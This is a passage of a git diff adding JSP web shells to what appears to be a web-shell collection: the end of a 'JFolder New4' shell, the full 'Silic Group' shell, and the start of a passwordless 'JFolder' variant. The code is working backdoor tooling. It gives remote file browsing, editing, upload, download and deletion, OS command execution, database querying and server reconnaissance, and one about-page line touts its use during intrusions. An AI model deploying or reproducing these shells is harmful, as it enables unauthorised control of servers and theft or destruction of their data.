JshellConfigException("程序体已经被非法修改"); + } + + _jshellContent = m.replaceAll("private String _password = \"" + password + "\""); + + //return HTMLEncode(_jshellContent); + } + + public void setEncodeType(String encodeType) throws JshellConfigException { + Pattern p = Pattern.compile("[A-Za-z0-9]+"); + Matcher m = p.matcher(encodeType); + + if (! m.matches()) { + throw new JshellConfigException("编码格式只能是字母和数字的组合"); + } + + p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\""); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("程序体已经被非法修改"); + } + + _jshellContent = m.replaceAll("private String _encodeType = \"" + encodeType + "\""); + //return HTMLEncode(_jshellContent); + } + + public void setSessionTime(String sessionTime) throws JshellConfigException { + Pattern p = Pattern.compile("\\d+"); + Matcher m = p.matcher(sessionTime); + + if (! m.matches()) { + throw new JshellConfigException("session超时时间只能填数字"); + } + + p = Pattern.compile("private\\sint\\s_sessionOutTime\\s=\\s" + _sessionOutTime); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("程序体已经被非法修改"); + } + + _jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime); + //return HTMLEncode(_jshellContent); + } + + public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException { + Pattern p = Pattern.compile("\\w+"); + Matcher m = null; + int i; + String fileTypes = ""; + String tmpFileTypes = ""; + + for (i = 0; i < textFileTypes.length; i ++) { + m = p.matcher(textFileTypes[i]); + + if (! m.matches()) { + throw new JshellConfigException("扩展名只能是字母数字和下划线的组合"); + } + + if (i != textFileTypes.length - 1) + fileTypes += "\"" + textFileTypes[i] + "\"" + ", "; + else + fileTypes += "\"" + textFileTypes[i] + "\""; + } + + for (i = 0; i < _textFileTypes.length; i ++) { + if (i != _textFileTypes.length - 1) + tmpFileTypes += "\"" + _textFileTypes[i] + "\"" + ", "; + else + tmpFileTypes += "\"" + _textFileTypes[i] + "\""; + } + + p = Pattern.compile(tmpFileTypes); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("程序文件已经被非法修改"); + } + + _jshellContent = m.replaceAll(fileTypes); + + //return HTMLEncode(_jshellContent); + } + + public String getContent() { + return HTMLEncode(_jshellContent); + } +} + +class JshellConfigException extends Exception { + public JshellConfigException(String message) { + super(message); + } +} +%> + + +JFolder New4修改版 + + + + +<% +session.setMaxInactiveInterval(_sessionOutTime * 60); + +if (request.getParameter("password") == null && session.getAttribute("password") == null) { +// show the login form +//================================================================================================ +%> +
                            + + + + +
                            + + + + + + + + + + + + + + + +
                             8管理登录 :::...JFolder_By_New4
                            + + +
                            +
                            +<% +//================================================================================================ +// end of the login form +} else { + String password = null; + + if (session.getAttribute("password") == null) { + password = (String)request.getParameter("password"); + + if (validate(password) == false) { + out.println("
                          • 哎呀,倒霉死啦!
                          • "); + out.close(); + return; + } + + session.setAttribute("password", password); + } else { + password = (String)session.getAttribute("password"); + } + + String action = null; + + + if (request.getParameter("action") == null) + action = "main"; + else + action = (String)request.getParameter("action"); + + if (action.equals("exit")) { + session.removeAttribute("password"); + response.sendRedirect(request.getRequestURI()); + out.close(); + return; + } + +// show the main menu +//==================================================================================== +%> + + + + + + + +
                            + + +
                            +<% +//===================================================================================== +// end of main menu + + if (action.equals("main")) { +// print the system info table +//======================================================================================= +%> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
                            服务器信息
                            服务器名<%=request.getServerName()%>
                            服务器端口<%=request.getServerPort()%>
                            操作系统<%=System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch")%>
                            当前用户名<%=System.getProperty("user.name")%>
                            当前用户目录<%=System.getProperty("user.home")%>
                            当前用户工作目录<%=System.getProperty("user.dir")%>
                            程序相对路径<%=request.getRequestURI()%>
                            程序绝对路径<%=request.getRealPath(request.getServletPath())%>
                            网络协议<%=request.getProtocol()%>
                            服务器软件版本信息<%=application.getServerInfo()%>
                            JDK版本<%=System.getProperty("java.version")%>
                            JDK安装路径<%=System.getProperty("java.home")%>
                            JAVA虚拟机版本<%=System.getProperty("java.vm.specification.version")%>
                            JAVA虚拟机名<%=System.getProperty("java.vm.name")%>
                            JAVA类路径<%=System.getProperty("java.class.path")%>
                            JAVA载入库搜索路径<%=System.getProperty("java.library.path")%>
                            JAVA临时目录<%=System.getProperty("java.io.tmpdir")%>
                            JIT编译器名<%=System.getProperty("java.compiler") == null ? "" : System.getProperty("java.compiler")%>
                            扩展目录路径<%=System.getProperty("java.ext.dirs")%>
                            客户端信息
                            客户机地址<%=request.getRemoteAddr()%>
                            服务机器名<%=request.getRemoteHost()%>
                            用户名<%=request.getRemoteUser() == null ? "" : request.getRemoteUser()%>
                            请求方式<%=request.getScheme()%>
                            应用安全套接字层<%=request.isSecure() == true ? "是" : "否"%>
                            +<% +//======================================================================================= +// end of printing the system info table +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("filesystem")) { + String curPath = ""; + String result = ""; + String fsAction = ""; + + if (request.getParameter("curPath") == null) { + curPath = request.getRealPath(request.getServletPath()); + curPath = pathConvert((new File(curPath)).getParent()); + } else { + curPath = Unicode2GB((String)request.getParameter("curPath")); + } + + if (request.getParameter("fsAction") == null) { + fsAction = "list"; + } else { + fsAction = (String)request.getParameter("fsAction"); + } + + if (fsAction.equals("list")) + result = listFiles(curPath, request.getRequestURI() + "?action=" + action); + else if (fsAction.equals("browse")) { + result = listFiles(new File(curPath).getParent(), request.getRequestURI() + "?action=" + action); + result += browseFile(curPath); + } + else if (fsAction.equals("open")) + result = openFile(curPath, request.getRequestURI() + "?action=" + action); + else if (fsAction.equals("save")) { + if (request.getParameter("fileContent") == null) { + result = "页面导航错误"; + } else { + String fileContent = Unicode2GB((String)request.getParameter("fileContent")); + result = saveFile(curPath, request.getRequestURI() + "?action=" + action, fileContent); + } + } else if (fsAction.equals("createFolder")) { + if (request.getParameter("folderName") == null) { + result = "目录名不能为空"; + } else { + String folderName = Unicode2GB(request.getParameter("folderName").trim()); + if (folderName.equals("")) { + result = "目录名不能为空"; + } else { + result = createFolder(curPath, request.getRequestURI() + "?action=" + action, folderName); + } + } + } else if (fsAction.equals("createFile")) { + if (request.getParameter("fileName") == null) { + result = "文件名不能为空"; + } else { + String fileName = Unicode2GB(request.getParameter("fileName").trim()); + if (fileName.equals("")) { + result = "文件名不能为空"; + } else { + result = createFile(curPath, request.getRequestURI() + "?action=" + action, fileName); + } + } + } else if (fsAction.equals("deleteFile")) { + if (request.getParameter("filesDelete") == null) { + result = "没有选择要删除的文件"; + } else { + String[] files2Delete = (String[])request.getParameterValues("filesDelete"); + if (files2Delete.length == 0) { + result = "没有选择要删除的文件"; + } else { + for (int n = 0; n < files2Delete.length; n ++) { + files2Delete[n] = Unicode2GB(files2Delete[n]); + } + result = deleteFile(curPath, request.getRequestURI() + "?action=" + action, files2Delete); + } + } + } else if (fsAction.equals("saveAs")) { + if (request.getParameter("fileContent") == null) { + result = "页面导航错误"; + } else { + String fileContent = Unicode2GB(request.getParameter("fileContent")); + result = saveAs(curPath, request.getRequestURI() + "?action=" + action, fileContent); + } + } else if (fsAction.equals("upload")) { + result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action); + } else if (fsAction.equals("copyto")) { + if (request.getParameter("filesDelete") == null || request.getParameter("dstPath") == null) { + result = "没有选择要复制的文件"; + } else { + String[] files2Copy = request.getParameterValues("filesDelete"); + String dstPath = request.getParameter("dstPath").trim(); + if (files2Copy.length == 0) { + result = "没有选择要复制的文件"; + } else if (dstPath.equals("")) { + result = "没有填写要复制到的目录路径"; + } else { + for (int i = 0; i < files2Copy.length; i ++) + files2Copy[i] = Unicode2GB(files2Copy[i]); + + result = copyFiles(curPath, request.getRequestURI() + "?action=" + action, files2Copy, Unicode2GB(dstPath)); + } + } + } else if (fsAction.equals("rename")) { + if (request.getParameter("fileRename") == null) { + result = "页面导航错误"; + } else { + String file2Rename = request.getParameter("fileRename").trim(); + String newName = request.getParameter("newName").trim(); + if (file2Rename.equals("")) { + result = "没有选择要重命名的文件"; + } else if (newName.equals("")) { + result = "没有填写新文件名"; + } else { + result = renameFile(curPath, request.getRequestURI() + "?action=" + action, Unicode2GB(file2Rename), Unicode2GB(newName)); + } + } + } +%> + + + + + + + + + +
                            地址   +
                            <%= result.trim().equals("")?" " : result%>
                            +<% +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("command")) { + String cmd = ""; + InputStream ins = null; + String result = ""; + + if (request.getParameter("command") != null) { + cmd = (String)request.getParameter("command"); + result = exeCmd(cmd); + } +// print the command form +//======================================================================================== +%> + + + + + + + + + + + + +
                            执行命令
                            + + +
                            执行结果
                            + + + + +
                            <%=result == "" ? " " : result%>
                            +<% +//========================================================================================= +// end of printing command form +/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("database")) { + String dbAction = ""; + String result = ""; + String dbType = ""; + String dbServer = ""; + String dbPort = ""; + String dbUsername = ""; + String dbPassword = ""; + String dbName = ""; + String dbResult = ""; + String sql = ""; + + if (request.getParameter("dbAction") == null) { + dbAction = "main"; + } else { + dbAction = request.getParameter("dbAction").trim(); + if (dbAction.equals("")) + dbAction = "main"; + } + + if (dbAction.equals("main")) { + result = " "; + } else if (dbAction.equals("dbConnect")) { + if (request.getParameter("dbType") == null || + request.getParameter("dbServer") == null || + request.getParameter("dbPort") == null || + request.getParameter("dbUsername") == null || + request.getParameter("dbPassword") == null || + request.getParameter("dbName") == null) { + response.sendRedirect(request.getRequestURI() + "?action=" + action); + } else { + dbType = request.getParameter("dbType").trim(); + dbServer = request.getParameter("dbServer").trim(); + dbPort = request.getParameter("dbPort").trim(); + dbUsername = request.getParameter("dbUsername").trim(); + dbPassword = request.getParameter("dbPassword").trim(); + dbName = request.getParameter("dbName").trim(); + + if (DBInit(dbType, dbServer, dbPort, dbUsername, dbPassword, dbName)) { + if (DBConnect(dbUsername, dbPassword)) { + if (request.getParameter("sql") != null) { + sql = request.getParameter("sql").trim(); + if (! sql.equals("")) { + dbResult = DBExecute(sql); + } + } + + result = "\n"; + result += "sql语句

                             \n"; + + DBRelease(); + } else { + result = "数据库连接失败"; + } + } else { + result = "数据库连接驱动没有找到"; + } + } + } +%> + + + "> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
                            数据库连接类型 + + +
                            数据库服务器地址
                            数据库服务器端口
                            数据库用户名
                            数据库密码
                            数据库名
                             
                            <%=result%>
                            + + + + +
                            + <%=dbResult%> +
                            +<% + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("config")) { + String cfAction = ""; + int i; + + if (request.getParameter("cfAction") == null) { + + cfAction = "main"; + } else { + cfAction = request.getParameter("cfAction").trim(); + if (cfAction.equals("")) + cfAction = "main"; + } + + if (cfAction.equals("main")) { +// start of config form +//========================================================================================== +%> + + + " onSubmit="javascript:selectAllTypes()"> + + + + + + + + + + + + + + + + + + + + +
                            密码
                            系统编码
                            Session超时时间
                            可编辑文件类型 + + + + + + +
                            + + + +

                            + +
                            + +
                            +
                            +<% + } else if (cfAction.equals("save")) { + if (request.getParameter("password") == null || + request.getParameter("encode") == null || + request.getParameter("sessionTime") == null || + request.getParameterValues("textFileTypes") == null) { + response.sendRedirect(request.getRequestURI()); + } + + String result = ""; + + String newPassword = request.getParameter("password").trim(); + String newEncodeType = request.getParameter("encode").trim(); + String newSessionTime = request.getParameter("sessionTime").trim(); + String[] newTextFileTypes = request.getParameterValues("textFileTypes"); + String jshellPath = request.getRealPath(request.getServletPath()); + + try { + JshellConfig jconfig = new JshellConfig(jshellPath); + jconfig.setPassword(newPassword); + jconfig.setEncodeType(newEncodeType); + jconfig.setSessionTime(newSessionTime); + jconfig.setTextFileTypes(newTextFileTypes); + jconfig.save(); + result += "设置保存成功,正在返回,请稍候……"; + result += ""; + } catch (JshellConfigException e) { + result = "" + e.getMessage() + ""; + } + +%> + + + + +
                            <%=result == "" ? " " : result%>
                            +<% + } +////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +//========================================================================================== +// end of config form + } else if (action.equals("about")) { +// start of about +//========================================================================================== +%> + + + + + + + + + + +
                            关于 jshell ver 0.1
                                增加了显示alxea排名的功能,这对于入侵中也比较方便些,版权还是归作者的.
                            darkst by New4 and welcome to 暗组技术联盟
                            +<% +//========================================================================================== + } +} +%> + + diff --git a/jsp/silic Shell.jsp b/jsp/silic Shell.jsp new file mode 100644 index 0000000..c55428e --- /dev/null +++ b/jsp/silic Shell.jsp @@ -0,0 +1,844 @@ +<%@ page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=0; +String strThisFile="JFolder.jsp"; +String[] authorInfo={"Silic Group"}; +String[] strFileManage = {"文 件 管 理","File Management"}; +String[] strCommand = {"CMD 命 令","Command Window"}; +String[] strSysProperty = {"系 统 属 性","System Property"}; +String[] strHelp = {"帮 助","Help"}; +String[] strParentFolder = {"上级目录","Parent Folder"}; +String[] strCurrentFolder= {"当前目录","Current Folder"}; +String[] strDrivers = {"驱动器","Drivers"}; +String[] strFileName = {"文件名称","File Name"}; +String[] strFileSize = {"文件大小","File Size"}; +String[] strLastModified = {"最后修改","Last Modified"}; +String[] strFileOperation= {"文件操作","Operations"}; +String[] strFileEdit = {"修改","Edit"}; +String[] strFileDown = {"下载","Download"}; +String[] strFileCopy = {"复制","Move"}; +String[] strFileDel = {"删除","Delete"}; +String[] strExecute = {"执行","Execute"}; +String[] strBack = {"返回","Back"}; +String[] strFileSave = {"保存","Save"}; +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + } +} +public static class UploadMonitor { + static Hashtable uploadTable = new Hashtable(); + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + static void remove(String fName) { + uploadTable.remove(fName); + } + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} +public class UplInfo { + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } +} + public class FileInfo { + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} +public class HttpMultiPartParser { + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + "\\" + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("/"); +} +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("文件大小为 0 字节,就不用下了吧"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
                            \r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
                            "); + sbEdit.append(""); + sbEdit.append("
                            "); +} +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
                            \r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("原始文件: "+strPath+"

                            "); + sbCopy.append("目标文件:

                            "); + sbCopy.append(" "); + sbCopy.append("

                             \r\n"); + sbCopy.append("

                            "); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

                            目标文件错误。"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

                            目标文件已存在,不能复制。"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith("\\")) + { + strDesFile=strDesFile+"\\"; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + sbSaveCopy.append("原始文件 :"+strPath+"

                            "); + sbSaveCopy.append("目标文件 :"+strTmpFile+"

                            "); + sbSaveCopy.append("复制成功!"); + } + } + sbSaveCopy.append("

                            "); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" 文件创建失败"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" 目录创建失败"); + } + else + { + sbNewFile.append("

                            建立文件或目录失败"); + } +} +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + sbNewFile.append("

                            建立文件或目录失败"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + if(path!=null && !path.endsWith("\\")) + path = path + "\\"; + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + error = true; + f1.delete(); + } + } + } +} +%> + + + + +::Silic Group:: + + +

                            + + + + + + +
                            + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
                            - - - - - - - - - - - \r\n "); + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
                            "); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("操作失败: "+e.toString()+""); +} +%> +
                            + + + + +
                            +
                            All Rights Reserved, blackbap.org © Silic Group Inc.
                            diff --git "a/jsp/\346\227\240\345\257\206\347\240\201\347\232\204jsp\345\244\247\351\251\254.jsp" "b/jsp/\346\227\240\345\257\206\347\240\201\347\232\204jsp\345\244\247\351\251\254.jsp" new file mode 100644 index 0000000..404e7b9 --- /dev/null +++ "b/jsp/\346\227\240\345\257\206\347\240\201\347\232\204jsp\345\244\247\351\251\254.jsp" @@ -0,0 +1,993 @@ +<% +/** +JFolder V0.9 windows platform +@Filename: JFolder.jsp +@Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能较弱。 + +@Bugs : 下载时,中文文件名无法正常显示 +*/ +%> +<%@ page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=0; //语言版本,0 : 中文; 1:英文 +String strThisFile="JFolder.jsp"; +String[] authorInfo={" 岁月联盟-专用版 "," Thanks for your support - - by Steven Cee http://www.topronet.com "}; +String[] strFileManage = {"文 件 管 理","File Management"}; +String[] strCommand = {"CMD 命 令","Command Window"}; +String[] strSysProperty = {"系 统 属 性","System Property"}; +String[] strHelp = {"帮 助","Help"}; +String[] strParentFolder = {"上级目录","Parent Folder"}; +String[] strCurrentFolder= {"当前目录","Current Folder"}; +String[] strDrivers = {"驱动器","Drivers"}; +String[] strFileName = {"文件名称","File Name"}; +String[] strFileSize = {"文件大小","File Size"}; +String[] strLastModified = {"最后修改","Last Modified"}; +String[] strFileOperation= {"文件操作","Operations"}; +String[] strFileEdit = {"修改","Edit"}; +String[] strFileDown = {"下载","Download"}; +String[] strFileCopy = {"复制","Move"}; +String[] strFileDel = {"删除","Delete"}; +String[] strExecute = 